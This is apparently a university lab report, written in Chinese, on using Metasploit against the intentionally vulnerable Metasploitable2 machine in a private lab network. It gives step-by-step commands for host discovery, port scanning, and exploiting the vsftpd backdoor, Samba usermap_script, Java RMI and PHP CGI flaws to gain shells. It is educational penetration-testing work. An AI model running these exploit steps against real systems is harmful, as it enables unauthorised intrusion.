# 20222403 2024-2025-1 《網路與系統攻防技術》實驗六實驗報告

20222403乔旭發表於2024-11-16

1.實驗內容

本實踐目標是掌握metasploit的用法。
指導書參考Rapid7官網的指導教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下載官方靶機Metasploitable2,完成下面實驗內容。
(1)前期滲透
①主機發現(可用Aux中的arp_sweep,search一下就可以use)
②埠掃描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③選做:也可以掃系統版本、漏洞等。
(2)Vsftpd原始碼包後門漏洞(21埠)
漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“: )”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
利用步驟:
在kali中執行msfconsole 啟動metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 選擇漏洞
set RHOST XX.xx.xx.xx 設定要攻擊的機器IP(靶機IP)
exploit/run 開始攻擊
利用成功
執行uname –a、 pwd、 id等命令 驗證
(3)SambaMS-RPC Shell命令注入漏洞(埠139)
漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
利用步驟:
use exploit/multi/samba/usermap_script 選擇漏洞
set RHOST ip 設定要攻擊的機器IP
exploit 開始攻擊
利用成功 執行uname–a驗證
(4)Java RMI SERVER命令執行漏洞(1099埠)
漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
操作步驟:
首先檢視1099埠是否開啟。
然後在MSF中:
use exploit/multi/misc/java_rmi_server
show options 檢視配置引數
set RHOST (靶機IP)
exploit/run
sessions -i id
shell (進入meterpreter時,使用whoami驗證下)
(5)PHP CGI引數執行注入漏洞(80埠)
漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
在kali中執行msfconsole,啟動metasploit
msf > use exploit/multi/http/php_cgi_arg_injection 選擇漏洞
set RHOST ip 設定要攻擊的機器IP
exploit/run 開始攻擊

2.實驗過程

2.1前期滲透

2.1.1主機發現
在開啟的kali中啟動MSF框架
搜尋arp_sweep模組
search arp_sweep

使用arp_sweep模組進入該模組
use 0
set RHOSTS 192.168.26.0/24
set THREADS 30 //設定執行緒數
run

從返回結果可以看到,arp_sweep模組很快發現了192.168.26.0/24網段上擁有的活躍主機,其中192.168.26.144為靶機Metasploitable2的IP。
2.1.2埠掃描
掃描win 7的TCP埠
進入msf
search portscan

看到第5條為TCP掃描
Use 5
set RHOSTS 192.168.26.143
Run

看到,可以掃描出這些開放的TCP埠

2.2Vsftpd原始碼包後門漏洞(21埠)

漏洞原理:在特定版本的vsftpd伺服器程式中,被人惡意植入程式碼,當使用者名稱以“: )”為結尾,伺服器就會在6200埠監聽,並且能夠執行任意程式碼。
利用步驟:
在kali中執行msfconsole 啟動metasploit
use exploit/unix/ftp/vsftpd_234_backdoor 選擇漏洞
set RHOST 192.168.26.144 設定要攻擊的機器IP(靶機IP)
exploit/run 開始攻擊

利用成功
執行uname –a、 pwd、 id等命令 驗證

2.3SambaMS-RPC Shell命令注入漏洞(埠139)

漏洞原理:Samba中負責在SAM資料庫更新使用者口令的程式碼未經過濾便將使用者輸入傳輸給了/bin/sh。如果在呼叫smb.conf中定義的外部指令碼時,透過對/bin/sh的MS-RPC呼叫提交了惡意輸入的話,就可能允許攻擊者以nobody使用者的許可權執行任意命令。
利用步驟:
use exploit/multi/samba/usermap_script 選擇漏洞
set RHOST 192.168.26.144 設定要攻擊的機器IP
exploit 開始攻擊

利用成功 執行uname–a驗證

2.4Java RMI SERVER命令執行漏洞(1099埠)

漏洞原理:Java RMI Server的RMI登錄檔和RMI啟用服務的預設配置存在安全漏洞,可被利用導致程式碼執行。
操作步驟:
首先檢視1099埠是否開啟。
search portscan
Use 5
set RHOSTS 192.168.26.143
set ports 1-65535
run

看到1099埠開放
然後在MSF中:
use exploit/multi/misc/java_rmi_server
show options 檢視配置引數

set RHOST 192.168.26.144
exploit/run

sessions -i 1
shell (進入meterpreter時,使用whoami驗證下)

驗證結果:攻擊成功。

2.5PHP CGI引數執行注入漏洞(80埠)

漏洞原理:CGI指令碼沒有正確處理請求引數,導致原始碼洩露,允許遠端攻擊者在請求引數中插入執行命令。
在kali中執行msfconsole,啟動metasploit
use exploit/multi/http/php_cgi_arg_injection 選擇漏洞
set RHOST 192.168.26.144設定要攻擊的機器IP
exploit/run 開始攻擊

攻擊成功。

3.問題及解決方案

  • 問題1:sessions -i id這個指令中,不知道id該為何值。
  • 問題1解決方案:如圖

    最後一行Meterpreter session 1 opened,可推出id應為1.

4.學習感悟、思考等

從作業和實驗中,我學會了使用metasploit的滲透方法,大致分為五步。1.search找到靶機漏洞模組
2.use使用功能模組
3.set設定攻擊的基本資訊,包括靶機IP等
4.show展示配置資訊
5.run/exploit進行攻擊
同時,從受害者方來看,我們日常生活中一定不能隨意開啟來路不明的網址、檔案,要保證自己的裝置時刻處於保護中,警惕資訊洩露。

相關文章